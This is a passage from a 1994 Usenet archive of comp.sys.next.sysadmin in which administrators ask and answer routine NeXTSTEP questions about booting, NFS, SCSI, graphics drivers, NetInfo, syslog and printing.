Newsgroups: comp.sys.next.sysadmin
Subject: Re: Defragmentation of hard disk?
Date: 25 May 1994 20:40:28 GMT
Organization: Computer and Network Services, U of Alberta, Edmonton, Canada
Message-ID: <2s0d3s$fbl@quartz.ucs.ualberta.ca>
References: <2rhigd$s2v@nic-nac.CSU.net> <1994May20.102928.11264@news.lrz-muenchen.de>
MatthiasRosenberger wrote:
: From the fsck man page:
: After successfully correcting a file system,
: fsck will print the number of files on that file system, the
: number of used and free blocks, and the percentage of frag-
: mentation.
: I always had a fragmentation less than 1%.
: --
That's not the same kind of fragmentation. Under BSD FFS, a
file can be allocated a page of disk space (usually 8K) or a fragment
(usually 1K) This saves much wasted space with little files. The OS
works behind the scenes to try to: a. rearrange files so that no file
has more than one fragment. b. consolidate fragments together so that
there are as many whole pages as possible.
:
--
=> Sherwood Botsford sherwood@space.ualberta.ca <=
=> University of Alberta Lab Manager, Space Physics Group <=
=> tel:403 492-3713 fax: 403 492-4256 <=
From: ray@mayo.edu (Ray Ghanbari)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: DOS time client??
Date: 25 May 1994 17:14:39 GMT
Organization: Mayo Foundation
Distribution: world
Message-ID: <2s011v$4l3@fermat.mayo.edu>
References: <1994May16.174800.2274@utata.wy.in-berlin.de>
In article <1994May16.174800.2274@utata.wy.in-berlin.de> gap (Gernot A.
Pohl) writes:
>
> Did anyone heard of a time client on a DOSmachine within a NeXTnet?
>
> possible?
> --
> .. viel Spasz!
> > Grisu grisu@utata.wy.in-berlin.de
> \_/ alt.: grisu@uriela.in-berlin.de
> Gernot A. Pohl
We run PC/NFS on our DOS based PCs. To get time synchronization, we just
added an rdate command to the autoexec.bat file. Since these things have
to be rebooted once every day or so (on average), time drift has not a
problem
--
Ray Ghanbari
Mayo Foundation
ray@mayo.edu
Newsgroups: comp.sys.next.sysadmin
From: ez033219@cassatt.ucdavis.edu (James Antoniou)
Subject: Adaptec 1742 + NS/I Install oblems
Message-ID: <CqDz96.8sr@ucdavis.edu>
Sender: usenet@ucdavis.edu (News Guru)
Organization: University of California, Davis
Date: Thu, 26 May 1994 01:39:06 GMT
I have fruitlessly been trying to install NS/I 3.2 on my system. My confi-
guration is as follows:
MCCI NICE Intel 486DX2-66 EISA/VLB w/256k cache motherboard
32MB 4MBx9-70 SIMMs
Adaptec 1742A EISA SCSI/SCSI-2 host adapter
Conner 540MB SCSI-2 hard drive (SCSI ID 4)
Micropolis 2217 1.7GB SCSI-2 hard drive (SCSI ID 0)
Toshiba 3301XB (internal SCSI) single-speed CD-ROM drive (SCSI ID 1)
Eagle Etherexpert 3201 EISA Coax/10BT combo card
Soundblaster AWE-32 sound card
2S/1P/1G multi-I/O card
etc. etc.
As per the instructions, I configured the Adaptec 1742A to run in Standard
Mode. Because the 1742A only recognizes 2 SCSI devices in Standard Mode,
I went through much hassle to move the Micropolis and Toshiba to SCSI IDs
0 and 1, respectively. Regardless of whether I use the host adapter in
Standard or Enhanced Mode, with or without the Micropolis and Toshiba at
appropriate SCSI IDs, I get the following error message:
Resetting SCSI bus...
Registering: event0
Registering: kmDevice0
No SCSI controller or CD-ROM drive found
When the Adaptec 1742 boots in Standard Mode this BIOS message comes up:
Target 0 - C: (80h)
Target 1 - Device connected, but it is not a disk drive
The Adaptec BIOS documentation says this is normal.
Being as completely unfamiliar as I am with NS/I, I don't have a clue what
could be wrong. I got all the documentation pertinent to the 1742A and
followed it all to the letter. I'll *assume* that it sees the SCSI host
adapter (well, I hope so at least), but why isn't it finding the CD-ROM
drive?
Any help via e-mail would be greatly appreciated. BTW - I removed the
SB AWE-32 and the Ethernet card just to make sure there weren't any
base address, IRQ, etc. conflicts - but that didn't help.
Thanks in advance for any help - Jim Antoniou
From: he@jabberwock.swarthmore.edu (Ye He)
Newsgroups: comp.sys.next.sysadmin
Subject: Workspace Manager Dead??
Date: 26 May 1994 02:28:59 GMT
Organization: Swarthmore College, Swarthmore, PA, USA
Distribution: world
Message-ID: <2s11hb$csk@larch.cc.swarthmore.edu>
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
Keywords: Workspace Manager, Booting, failure
Hello NeXT sysadmins,
I have a problem that needs to be solved AS SOON AS POSSIBLE because
we don't have other NeXT's here for me to do programming.
I am using a NeXTstation (68040) running NS3.2.
The problem went like this:
First I couldn't log in from local display. When I typed my username and
passwd, it tried to run but failed and went back to the prompt panel.
Then I restarted the computer. Everything went on well (I could see
messages like "checking file system" on the screen), until a message
a panel pops up saying "start up complete." The computer simply halted
there and there was not prompt panel at all. So I could not log in
from local. I could, however, telnet from another terminal into the
computer. Inside it things seem to work just fine, except that I
couldn't do any Obj-C programming.
Could any of you NS gurus know what could possibly go wrong, and how
should I fix it? What is the command to pop up the prompt panel?
The aformentioned problem was encountered for the first time although
the machine had been rebooted several times before.
Please, please let me know how I can fix this and go on... Thanks
a million! Please reply to my email address.
--
Ye
he@engin.swarthmore.edu
Newsgroups: comp.sys.next.sysadmin
From: mgoedel@muaddib.isar.muc.de (Maximilian Goedel)
Subject: Re: [Q] RUNNING X-WINDOWS ON NeXT
Message-ID: <CqE6tv.FCr@muaddib.isar.de>
Sender: mgoedel@muaddib.isar.de (Maximilian Goedel)
Organization: Michael Maximilian Goedel
References: <2rvi2o$ioj@senator-bedfellow.MIT.EDU>
Date: Thu, 26 May 1994 04:22:42 GMT
In article <2rvi2o$ioj@senator-bedfellow.MIT.EDU> fgan@athena.mit.edu (Gan Fanqui)
writes:
| Hello, We have a NeXT blackbox station running NeXT step 3.1. It is also connect
| to MITnet which is running x-windows through ethernet. We wondered can we run
| x-windows in the NeXT station? What do we need to run? We appreciate any help.
| --Gan
There are, I think two commerical apps called Pencom co-Xist and CUB'X.
A public domain X-Windows X11R5 called mouseX can be found, I think it was
cs.orst.edu.
Nice Greetings from Munich
--
Michael Maximilian Goedel email_____________________________
Gerhardstrasse 33 NeXT: mgoedel@muaddib.isar.muc.de
81543 Muenchen - GERMANY LINUX: max@funman.boss.sub.org
Phone +49-89-652918 SGI: f11cs1@rz.unibw-muenchen.de
From: Scott McIntyre <S.A.McIntyre@durham.ac.uk>
Newsgroups: comp.sys.next.sysadmin
Subject: System Panic (ns_abstimeout?)
Date: Thu, 26 May 1994 07:09:03 GMT
Organization: University of Durham, Durham, UK.
Sender: S.A.McIntyre@durham.ac.uk
Message-ID: <940526080903.250AACYE.scott@shrug>
Mime-Version: 1.0 (Generated by Eloquent)
Content-Type: text/plain; charset=US-ASCII
This morning when I came in I was greeted by a system panic window...after a
long reboot, I found the following in /usr/adm/messages...what does it mean?
May 26 08:02:06 shrug mach: panic: (Cpu 0) ns_abstimeout table overflow
May 26 08:02:06 shrug mach: NeXT ROM Monitor 2.4 v65
May 26 08:02:06 shrug mach: panic: NeXT Mach 3.2: Mon Oct 18 21:57:41 PDT
1993; root(rcbuilder):mk-149.30.15.obj~2/RC_m68k/RELEASE_M68K
Scott
From: eps@futon.SFSU.EDU (Eric P. Scott)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: How to boot from external drive?
Date: 26 May 1994 07:50:02 GMT
Organization: San Francisco State University
Message-ID: <2s1kba$p0t@nic-nac.CSU.net>
References: <1994May25.180648.4850@mcshub.dcss.mcmaster.ca>
In article <1994May25.180648.4850@mcshub.dcss.mcmaster.ca>
wucolin@popeye.CIS.McMaster.CA (Colin Wu):
> bsd(1,0,0)sdmach rootdev=sd1a
> I would be quite happy even if I could
>enter the above command in the boot parameter, but the string is too long!
The best you can do *easily* is probably something like
sd(1,0,0) -a
[which will prompt for root device]
Sorry. :-(
-=EPS=-
From: dfh@guitar.ho.att.com (Dan Hurley)
Newsgroups: comp.sys.next.sysadmin
Subject: RDBMS for NS white hardware under $1K
Date: 26 May 1994 08:03:23 -0500
Organization: UTexas Mail-to-News Gateway
Sender: nobody@cs.utexas.edu
Message-ID: <9405261253.AA02595@guitar.ho.att.com>
Hi.
Can someone recommend an excellent RDBMS for NS white hardware for under $1K?
I am looking for a product with the power & useability at least equivalent to
popular Windows-based RDBMs (e.g., MS Access) but, preferrably, one that
showcases the power of the NextStep environment.
Thanks for the help.
Dan Hurley
From: louis.m.mcdonald@aero.org (Louis McDonald)
Newsgroups: comp.sys.next.sysadmin
Subject: Intel and nfsmount
Followup-To: comp.sys.next.sysadmin
Date: Thu, 26 May 1994 09:01:17 -0500
Organization: The Aerospace Corporate - East
Distribution: world
Message-ID: <louis.m.mcdonald-260594090117@warrenton.aero.org>
We have been experience some problems with the Intel machines.
A number of entries that should appear in /Net are not showing up.
They do appear in /private/Net, but not in /Net.
Also, does not seem consistent related to which mounts appear
and do not appear (from Intel to Intel).
I checked FAQ and did not see anything.
Anyone with a similar problem?
--
Louis McDonald
703-318-5406 (office) 703-318-5409 (fax)
From: dfh@guitar.ho.att.com (Dan Hurley)
Newsgroups: comp.sys.next.sysadmin
Subject: SUMMARY: MOZAIC
Date: 26 May 1994 08:10:54 -0500
Organization: UTexas Mail-to-News Gateway
Sender: nobody@cs.utexas.edu
Message-ID: <9405261301.AA02604@guitar.ho.att.com>
Hi.
I had asked for a source for Mozaic. Replies included:
Several recommended I check ftp.cs.orst.edu:/pub/next/XNeXT.
Also:
"If you want a real XMosaic, you need to get Cub'X-Window for your NeXT
machine. Cub'X-Window is the implementation of X11R5 for NEXTSTEP. This is not
an emulation but a real implementation. I'm using it all the time.... You can
olso use an alpha version of an application called OmniWeb. It's a pure
NEXTSTEP interface and it's in good progress. But it still miss some
functionalities like the ability to get the forms."
"Get Omniweb (anonymous FTP to ftp.omnigroup.com)"
Thanks for the help!
Dan
From: trestrail@aol.com (Trestrail)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: How to boot from external drive?
Date: 26 May 1994 10:17:02 -0400
Organization: America Online, Inc. (1-800-827-6364)
Sender: news@search01.news.aol.com
Message-ID: <2s2b0u$9ss@search01.news.aol.com>
References: <1994May25.180648.4850@mcshub.dcss.mcmaster.ca>
In article <1994May25.180648.4850@mcshub.dcss.mcmaster.ca>,
wucolin@popeye.CIS.McMaster.CA (Colin Wu) writes:
[misc. concerning booting from an external disk]
Take a look at NeXTanswers #1487 to boot from a disk other than the
first.
Basically you have to set up a small (~7Mb) partition on drive 0 to
direct
the boot process to the correct drive.
Regards,
Jeff Trestrail
trestrail@aol.com
Newsgroups: comp.sys.next.sysadmin,comp.sys.next.software,fr.comp.sys.next
From: arrouye@petole.imag.fr (Yves Arrouye)
Subject: ATI Ultra Pro driver -> extremely slow graphics (!?)
Message-ID: <1994May26.151907.15453@imag.fr>
Followup-To: comp.sys.next.sysadmin
Sender: news@imag.fr
Organization: Institut Imag, Grenoble, France
Date: Thu, 26 May 1994 15:19:07 GMT
Hello,
I have two PCs with NEXTSTEP at our lab:
1. A Dell 450 DE/2 DGX (DX2 50), Jaws graphic card
2. A "no-mark" PC (DX2 66), ATI Ultra Pro graphic card
which both have 32Mb/1Gb memory. The problem is that while the Dell has really
fast graphics performance, the other one is dramatically slow (flickers when
moving windows even while idle, bouncing login panel extremely slow, etc...).
Despite trying to change the driver (provided to 3.2) configuration, or even
changing to 'ATI On-board' driver (with no success and no screen after the
change!) I cannot figure what's going wrong.
Does anybody have experienced the same problems, or have I idea about what to
do?
Thanks in advance,
Yves.
--
Advocates for the C++ school claim that a well designed Yves Arrouye
program does not need the extra flexibility (a lie), Yves.Arrouye@imag.fr
while advocates for the Objective-C school claim that (33) 76 57 48 64
the errors are no problem in practice (another lie). NeXT Mail
Newsgroups: comp.sys.next.sysadmin,comp.unix.admin
From: arrouye@petole.imag.fr (Yves Arrouye)
Subject: Extending disk partition: how to make that?
Message-ID: <1994May26.152149.15628@imag.fr>
Followup-To: comp.sys.next.sysadmin
Sender: news@imag.fr
Organization: Institut Imag, Grenoble, France
Date: Thu, 26 May 1994 15:21:49 GMT
Hello,
I have actually two partitions on my hard disk: the first one is a 100Mb DOS
partition and the second is a 900Mb NEXTSTEP (BSD 4.3) partition. I would like
to reformat the disk in order to make a single 1Gb partition and then
reinstall the contents of the previous 900Mb partition.
How can I do that in order to make sure there will not be any problem?
Thanks for any help,
Yves
--
Advocates for the C++ school claim that a well designed Yves Arrouye
program does not need the extra flexibility (a lie), Yves.Arrouye@imag.fr
while advocates for the Objective-C school claim that (33) 76 57 48 64
the errors are no problem in practice (another lie). NeXT Mail
Newsgroups: comp.sys.next.sysadmin
From: arrouye@petole.imag.fr (Yves Arrouye)
Subject: DOS partition not found: why?!
Message-ID: <1994May26.152456.15855@imag.fr>
Sender: news@imag.fr
Organization: Institut Imag, Grenoble, France
Date: Thu, 26 May 1994 15:24:56 GMT
Hi,
I have a PC with two partitions on a 1Gb disk: the first one is a NS 950Mb
partition and the second one is a 50Mb DOS partition (in that order in the
partitions table).
When I am under NS, I cannot see the DOS partition? Why? How could I make it
appear? Is this a bug when the DOS partition is located *after* the NS one?
(It works well if the DOS partition is the first one and the NS the second
one, but I will not reinstall the whole thing just to change the order of the
partitions).
Thanx,
Yves
--
Advocates for the C++ school claim that a well designed Yves Arrouye
program does not need the extra flexibility (a lie), Yves.Arrouye@imag.fr
while advocates for the Objective-C school claim that (33) 76 57 48 64
the errors are no problem in practice (another lie). NeXT Mail
From: thomas@olorin.dark.sub.org (Thomas Fischer)
Newsgroups: comp.sys.next.sysadmin
Subject: UUCP, Mail, News, NO EtherNet
Date: 26 May 1994 11:43:52 +0200
Organization: Olorin, NeXT Development & System Administration, FRG
Distribution: world
Message-ID: <2s1r0o$505@olorin.dark.sub.org>
Hi there,
Do you think it's possible to use UUCP, Mail and News on a machine with
NSfIP installed, but without an EtherNet card ?!?
The problem is that you cannot set a hostname without the card, so I
guess it might be slightly difficult to install those things...
Thomas
--
Death is God's way of telling you not to be such a wise guy.
---
Thomas Fischer, thomas@olorin [.dark.sub.org/.cube.de]
+49 7191 23217 (fax & data)
Newsgroups: comp.sys.next.sysadmin,comp.sys.sun.admin
From: shanb001@maroon.tc.umn.edu (Sharad J Shanbhag)
Subject: NFS Mount Trouble
Message-ID: <CqF8I7.2w6@news.cis.umn.edu>
Keywords: NFS, mount, UNIX
Sender: shanb001@maroon.tc.umn.edu
Organization: University of Minnesota
Date: Thu, 26 May 1994 17:57:24 GMT
Hello,
I've been having some trouble mounting a filesystem from a Sun
Sparcstation LX on a NeXTstation mono running NeXTstep 3.0.
The Sun is neuro-sun, the NeXT is next1
On the Sun, the /etc/exports file contains
/home
/home/neuro_sun -access=next1
and shows up in /etc/xtab
When I try and mount the home/neuro_sun filesystem on the NeXT, I type
next1% mount -t nfs -o rw,bg,hard,intr neuro-sun:/home/neuro_sun /netfs
This works; I find the requisite files in /netfs on the NeXT.
Problem is, either as root or myself, I cannot write to the mounted
filesystem. Apparently, and mysteriously, the filesystem is read-only.
I have mounted the filesystem both as regular user and root and find the
same problem in both conditions.
Any suggestions are welcome! Please respond via email!
-Sharad
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Sharad J. Shanbhag phone: (612) 626-9218
Graduate Program in Neuroscience and fax: (612) 626-9201
Department of Neurosurgery
University of Minnesota
email: shanb001@maroon.tc.umn.edu (NeXT Mail Okay)
Newsgroups: comp.sys.next.sysadmin
Subject: NFS Mount Troubles... Help!
Summary:
Expires:
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Keywords:
Cc:
Newsgroups: comp.sys.next.sysadmin
From: wucolin@popeye.CIS.McMaster.CA (Colin Wu)
Subject: Re: How to boot from external drive?
Message-ID: <1994May26.182539.29013@mcshub.dcss.mcmaster.ca>
Sender: usenet@mcshub.dcss.mcmaster.ca
Organization: McMaster University, Hamilton, Ontario.
References: <2s1kba$p0t@nic-nac.CSU.net>
Date: Thu, 26 May 1994 18:25:39 GMT
In article <2s1kba$p0t@nic-nac.CSU.net> eps@futon.SFSU.EDU (Eric P. Scott)
writes:
>In article <1994May25.180648.4850@mcshub.dcss.mcmaster.ca>
> wucolin@popeye.CIS.McMaster.CA (Colin Wu):
>> bsd(1,0,0)sdmach rootdev=sd1a
>
>> I would be quite happy even if I could
>>enter the above command in the boot parameter, but the string is too long!
>
>The best you can do *easily* is probably something like
>
> sd(1,0,0) -a
>
>[which will prompt for root device]
>
>Sorry. :-(
>
> -=EPS=-
A number of people have answered my call for help. The most prevalent
suggestion was to set the external drive's SCCI id to 0. This works since
NeXTs, as shipped, have the internal drive set to SCCI id 1. The only hitch I
ran into trying this solution was that when I replaced my 100M internal with a
300M drive I set it's SCCI id to 0. Out with the screwdriver...
Thanks to one and all for you responses!
--
__ _ _ Colin Wu
/ ) // ' ) / Network Analyst
/ __|/ o ____ / / / . . Computing & Information Services
(__/ (_) \_<_/ / <_ (_(_/ (_/_ McMaster University
(905)525-9140 ext 24050
"If you want to truly understand something, try to change it." - Kurt Lewin
From: next2@info2.rus.uni-stuttgart.de (Markus Wenzel)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: ATI Ultra Pro driver -> extremely slow graphics (!?)
Date: 26 May 94 19:40:50 GMT
Organization: Comp.Center (RUS), U of Stuttgart, FRG
Message-ID: <next2.769981250@info2.rus.uni-stuttgart.de>
References: <1994May26.151907.15453@imag.fr>
arrouye@petole.imag.fr (Yves Arrouye) writes:
>I have two PCs with NEXTSTEP at our lab:
> 1. A Dell 450 DE/2 DGX (DX2 50), Jaws graphic card
> 2. A "no-mark" PC (DX2 66), ATI Ultra Pro graphic card
>which both have 32Mb/1Gb memory. The problem is that while the Dell has really
>fast graphics performance, the other one is dramatically slow (flickers when
>moving windows even while idle, bouncing login panel extremely slow, etc...).
>Despite trying to change the driver (provided to 3.2) configuration, or even
>changing to 'ATI On-board' driver (with no success and no screen after the
>change!) I cannot figure what's going wrong.
1. The ATI onboard driver is only for Intel GX PCs, not for normal ATI cards.
2. Is your ATI card VL or EISA? EISA is noticably slower than VL.
3. The DGX is one of the fastest graphics adapters for NS available. The
ATI has to compete with a "Porsche".
4. The speed also depends on the motherboard. Changing the motherboard to
one with a better VL throughput gave me about 20% graphics performance
improvement.
5. You shouln't derive the graphics performance from moving windows. This
is even slow on a NeXT ColorStation. Do you move windows all the time?
Markus.
--
Markus Wenzel System administration, Consulting, Networking
mow@marsu.tynet.sub.org on... NeXTSTEP / Unix / Novell / Windows NT
IRC: Marsu Expert in quantum bogodynamics
From: next2@info2.rus.uni-stuttgart.de (Markus Wenzel)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: UUCP, Mail, News, NO EtherNet
Date: 26 May 94 19:47:19 GMT
Organization: Comp.Center (RUS), U of Stuttgart, FRG
Message-ID: <next2.769981639@info2.rus.uni-stuttgart.de>
References: <2s1r0o$505@olorin.dark.sub.org>
thomas@olorin.dark.sub.org (Thomas Fischer) writes:
>Do you think it's possible to use UUCP, Mail and News on a machine with
>NSfIP installed, but without an EtherNet card ?!?
No problem. I did this for months.
>The problem is that you cannot set a hostname without the card, so I
>guess it might be slightly difficult to install those things...
Completely wrong. No problem at all to enter a hostname in /etc/hostconfig.
I set my hostname the very first day I got NS/I.
Markus.
--
Markus Wenzel System administration, Consulting, Networking
mow@marsu.tynet.sub.org on... NeXTSTEP / Unix / Novell / Windows NT
IRC: Marsu Expert in quantum bogodynamics
Newsgroups: comp.sys.next.sysadmin
From: dylan@Angst.COM (Dylan Kohler)
Subject: SUMMARY: Posting from other LAN hosts
Message-ID: <1994May26.184327.7491@Angst.COM>
Sender: dylan@Angst.COM
Organization: Angst Animation Post Production
Date: Thu, 26 May 1994 18:43:27 GMT
In article <1994May25.010831.2489@Angst.COM> dylan@Angst.COM (Dylan
Kohler) writes:
> I installed Newsgrazer and CNews using the CNews.pkg on the archives.
> Works great, except for one hitch. I can't seem to post from any other
> NeXT on our LAN that isn't the mailserver, the one with the UUCP
> connection to Netcom. Posts just end up in dead.article in my home
> directory.
Thanks to all respondents. It turned out to be a permissions problem. On
the advice of Paul Lynch, I ran inews by hand. I logged in as news, ran
"inews" with the article I had in dead.article and got a list of error
messages, most of them because relaynews (which has its setuid flag on)
wasn't owned by 'news'.
Hope this helps someone with a similar problem.
--
___________________________________
Dylan Kohler
Angst Animation Post Production
dylan@angst.com (NeXTmail welcome)
Newsgroups: comp.sys.next.sysadmin
From: dhurley@cbnewsj.cb.att.com (daniel.f.hurley)
Subject: Booting Next from D
Organization: AT&T
Date: Mon, 23 May 1994 14:44:04 GMT
Message-ID: <Cq9FLL.6F7@cbnewsj.cb.att.com>
Keywords: booting Next
Hi, I have two hard disks on my computer. C has been already partitioned
entirely as a DOS partition and got a lot of stuff on it which I don't
want to reinstall them again. I have installed NextStep on D (a SCSI).
If I disable drive C in the setup procedure, the computer can boot from D.
But then Nextstep will not be able to recognize drive C. I have seen two
solutions for the case where C is enabled. One is to boot from the floppy
and transfer the control to D and the other is to have a small NEXT partition
on C which also transfers the control to D. Since I don't want to repartition
drive C, I am looking for a third solution. I have heard there is a software
on DOS called bootb.exe which allows a computer to reboot a system from drive
B. I am wondering whether there is a similar thing called bootd.exe on DOS. I
very much appreciate it if anyone can give me some hint or direction on that.
Please send your answer to :
jy@bassoon.ho.att.com
or
jinyang@cs.utexas.edu
Thank you very much,
- Jin
Newsgroups: comp.sys.next.sysadmin
From: root@net23 (Operator)
Subject: Re: The old anon ftp question
References: <2rk0fj$ldu@usenet.rpi.edu> <2rnvun$olu@msuinfo.cl.msu.edu>
Sender: news@spcuna.spc.edu (Network News)
Organization: St. Peter's College, US
Date: Thu, 26 May 1994 22:46:49 GMT
Message-ID: <CqFLy2.5qJ@spcuna.spc.edu>
Stephen Perkins (perkins@sidney.cps.msu.edu) wrote:
: In comp.sys.next.sysadmin article <2rk0fj$ldu@usenet.rpi.edu> you wrote:
: > grio@next.com (Dan Grillo) writes:
: > Hmm. The following information might also be of interest. It
: > was NeXTanswer/sysadmin.725 in the olden days, but I can't seem
: > to find it anywhere in the current set of NeXTanswers. Did a
: > set of NeXTanswers get left behind somewhere along the way? It
: > took me a bit of time to reconstruct the old NeXTanswers...
: >
: > Well, anyway, this might also be of use:
: >
: > --[start NA]
: > Q: Why won't ftpd log anonymous ftp logins?
: >
: > A: There's a very old bug in ftpd which prevents this, even if the -l
: > option is given (in the ftpd arguments listed in /etc/inetd.conf;
: > see the UNIX Manual Pages for ftpd and inetd).
: >
: > There's a workaround which applies if the ~ftp directory and the
: > /dev directory are on the same file system. In /etc/rc, after
: > starting syslog, make a hard link from ~ftp/dev/log to /dev/log.
: > Note that this requires the ~ftp/dev directory to exist already
: > (that directory should be owned by root, and its permissions
: > should
: > permit the owner to read and search [execute], and the group and
: > others to search [execute]: r-x--x--x, mode 511).
: >
: > Hard links cannot cross file systems, so if ~ftp and /dev are on
: > different file systems this workaround does not apply.
: The NA may be gone because the bug may be fixed. Here are a few lines
: from my /usr/adm/messages file:
: ========================================================
: May 22 12:02:19 sidney ftpd: connection from arctic.cps.msu.edu at Sun
: May 22 12:02:19 1994
: May 22 12:02:24 sidney ftpd: ANONYMOUS FTP LOGIN FROM
: arctic.cps.msu.edu, perkins@cps.msu.edu
: ========================================================
: I had to modify my /etc/syslog.conf to be the following:
: ========================================================
: *.err;kern.debug;auth.notice /dev/console
: kern.debug;daemon,auth.notice;*.err;mail.crit /usr/adm/messages
: mark.debug,daemon.info /usr/adm/messages
: lpr.debug /usr/adm/lpd-errs
: mail.info /usr/spool/mqueue/syslog
: *.alert;kern.err;daemon.err;daemon.info operator
: *.alert root
: *.emerg *
: ========================================================
: - Steve
Guys, Just install tcp wrappers, it makes life so much easier!!!
Newsgroups: comp.sys.next.sysadmin
From: root@net23 (Operator)
Subject: INN, and mosaic
Sender: news@spcuna.spc.edu (Network News)
Organization: St. Peter's College, US
Date: Thu, 26 May 1994 22:59:55 GMT
Message-ID: <CqFMJw.61H@spcuna.spc.edu>
Can anyone tell me where to obtain a compiled version of the INN
distribution for white hardware?
Also, the mosaic thing is getting out of hand. I evaluated CUBX, and
although a good product, I dont feel like paying 400 dollars for an
operating system that I didn't really want in the first place. The only
reason I tried it was for Mosaic.
There needs to be a DAMN GOOD version of Mosaic for NextStep. And it
SHOULD look like the standard XMOSAIC. Omniweb is a nice try, but NOWHERE
near as good..
Mail all replies to razor@net23.com
Newsgroups: comp.sys.next.sysadmin
From: paul@seer.demon.co.uk (Paul Lynch)
Subject: Re: UUCP, Mail, News, NO EtherNet
Message-ID: <1994May26.225219.8392@seer.demon.co.uk>
Sender: news@seer.demon.co.uk
Organization: P & L Systems
References: <2s1r0o$505@olorin.dark.sub.org>
Date: Thu, 26 May 1994 22:52:19 GMT
In article <2s1r0o$505@olorin.dark.sub.org> thomas@olorin.dark.sub.org
(Thomas Fischer) writes:
> Hi there,
>
> Do you think it's possible to use UUCP, Mail and News on a machine with
> NSfIP installed, but without an EtherNet card ?!?
>
> The problem is that you cannot set a hostname without the card, so I
> guess it might be slightly difficult to install those things...
You can set a hostname (in /etc/hostconfig), so long as youi don't set an
IP address.
Paul
--
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P & L Systems (NeXTmail) paul@seer.demon.co.uk
Tel: (0494)671501 9 Stable Lane, Seer Green,
Fax: (0494)680228 Bucks, HP9 2YT, UK
From: jimr@shorty.cs.wisc.edu (Jim Robinson)
Newsgroups: comp.sys.next.sysadmin
Subject: Q: Pref.app and .gz files help...
Date: 26 May 1994 23:55:15 GMT
Organization: University of Wisconsin, Madison -- Computer Sciences Dept.
Message-ID: <2s3ct3$423@spool.cs.wisc.edu>
I am having two problems with my NeXT Cube that I cannot resolve. I
don't have any docs (We got this with .9, and have gone up to 3.0 so
it is OLD), and Librarian can't seem to help me...
One: How can I get Inspector.app or something, anything, connected
to the file browser to recognize gziped files? I assume it should be
able to handle them just like compress/uncompressed files.
Two: The clock on my Preferences.app has disappeared, and I can't
get it to come back. I assume this has something to do with a hidden
file in my own home since other people's work fine.
Can anybody help solve these problems?
Jim
From: jweiss@casbah.acns.nwu.edu (Jerry Weiss)
Newsgroups: comp.sys.next.sysadmin
Subject: Breaking Up Is Hard To Do. (netinfo question)
Date: 27 May 1994 06:48:31 GMT
Organization: Northwestern University, Evanston IL USA
Message-ID: <2s453v$oef@news.acns.nwu.edu>
At gunpoint I was forced to move one of my NextStations off the local
subnet which it shared with its brothers and sisters. After installation
in another building and assigning a new IP address, the darn thing wont
bind with its olde Netinfo server (NFS, telnet, etc work fine). I've gone
over the documentation a few times including the section "System Boot and
Network Startup Errors" in 09_StartShut.rtf. I think I've got explicit
addresses listed for the client and server in the correct places so they
are available in early part of the boot process. I've been able to use the
Open By Tag option of NetInfoMgr or niutil to look at the server directly,
but inconsistantly. Once after adding new value to the master property
(exact details lost in the passion of the moment) of the client's /
directory I managed to bind to the server, but the client didn't bind to
its local database :-( `
Anyone have any suggests as to what to check for? Any info or pointers
appreciated.
Jerry "Sleep? We don't need no stink'in Sleep!" Weiss
--
Jerry S. Weiss
j-weiss@nwu.edu
Dept. Medicine, Northwestern Univ. Medical School, Chicago, Illinois
%SYSTEM-S-PHALOKTARG, Phasers Locked on Target, Ready to Fire
Newsgroups: comp.sys.next.sysadmin
From: david@ffcsas.demon.co.uk
Subject: Re: RDBMS for NS white hardware under $1K
Message-ID: <CqGE9E.Bv9@demon.co.uk>
Sender: news@demon.co.uk (Usenet Administration)
Organization: Demon Internet
References: <9405261253.AA02595@guitar.ho.att.com>
Date: Fri, 27 May 1994 08:58:26 GMT
In article <9405261253.AA02595@guitar.ho.att.com>
dfh@guitar.ho.att.com (Dan Hurley) writes:
> Hi.
>
> Can someone recommend an excellent RDBMS for NS white hardware for
under $1K?
> I am looking for a product with the power & useability at least
equivalent to
> popular Windows-based RDBMs (e.g., MS Access) but, preferrably, one
that
> showcases the power of the NextStep environment.
>
Try QuickBase from SofSolutions
Its in its 4th release (2nd usable release) and works just fine in
our commercial apps. Uses DO for client communications and is
extremely fast on medium size databases
Phone: 0101 603 495 4100
email: Scott_Keith@sdc.mv.com
--
Regards David Knight
FFC Software and Systems Limited
351 London Road Phone: +44 (0)702 551010
Hadleigh Fax: +44 (0)702 551515
Essex. SS7 2BT Email: david@ffcsas.demon.co.uk
Newsgroups: comp.sys.next.sysadmin
From: jwdb@dutnak2.tn.tudelft.nl (Jan-Willem de Bruijn)
Subject: [Q] syslogd not starting at boot time
Message-ID: <jwdb.770048957@dutnak2>
Summary: syslogd isn't running anymore, and it doesn't start at boot time
Keywords: syslog boot cube
Sender: news@news.tudelft.nl (UseNet News System)
Organization: Delft University of Technology
Date: Fri, 27 May 1994 14:29:17 GMT
L.S.,
The following oddity has appeared on our NeXTcube, running NEXTSTEP 3.2.
The syslogd daemon is not running, as I found out by checking some log
files (/usr/spool/mqueue/syslog, /usr/adm/messages). It turned out that
they have not been added to in the last two weeks.
The machine has been rebooted several times, but syslogd doesn't seem
to get started, even though it is mentioned in /etc/rc, and a
syslog.conf file exists. All files involved are originals.
Our other machines (NeXTstations, and Intel-based ones) don't have this
problem.
Can anyone explain this, or even better suggest a remedy?
Thanks in advance,
Jan-Willem
--
Jan-Willem de Bruijn jwdb@dutnak2.tn.tudelft.nl
Lab. of Seismics and Acoustics NeXT-mail: jwdb@delphi.tn.tudelft.nl
Dep. of Applied Physics Discipline is never an end in itself,
Delft University of Technology only a means to an end.
Newsgroups: comp.sys.next.sysadmin
From: jas@phaedra.news.ucdavis.edu (jas schaaf)
Subject: Setting up a NeXT as a print server for Non-NeXT boxes
Message-ID: <JAS.94May27074102@phaedra.news.ucdavis.edu>
Sender: usenet@ucdavis.edu (News Guru)
Organization: University of California, Davis
Date: Fri, 27 May 1994 14:41:02 GMT
I am trying to setup printing on a NeXTstation with an attached NeXT
printer for non-NeXT unix boxes (SGI's with lpd and Suns). I have
added the hostnames of the non-NeXT boxes to /etc/hosts.lpd on the
NeXT and modified their printcap files locally. I receive the
following error from an SGI after attempting to print and checking the
queue:
> lpq -Pindigo
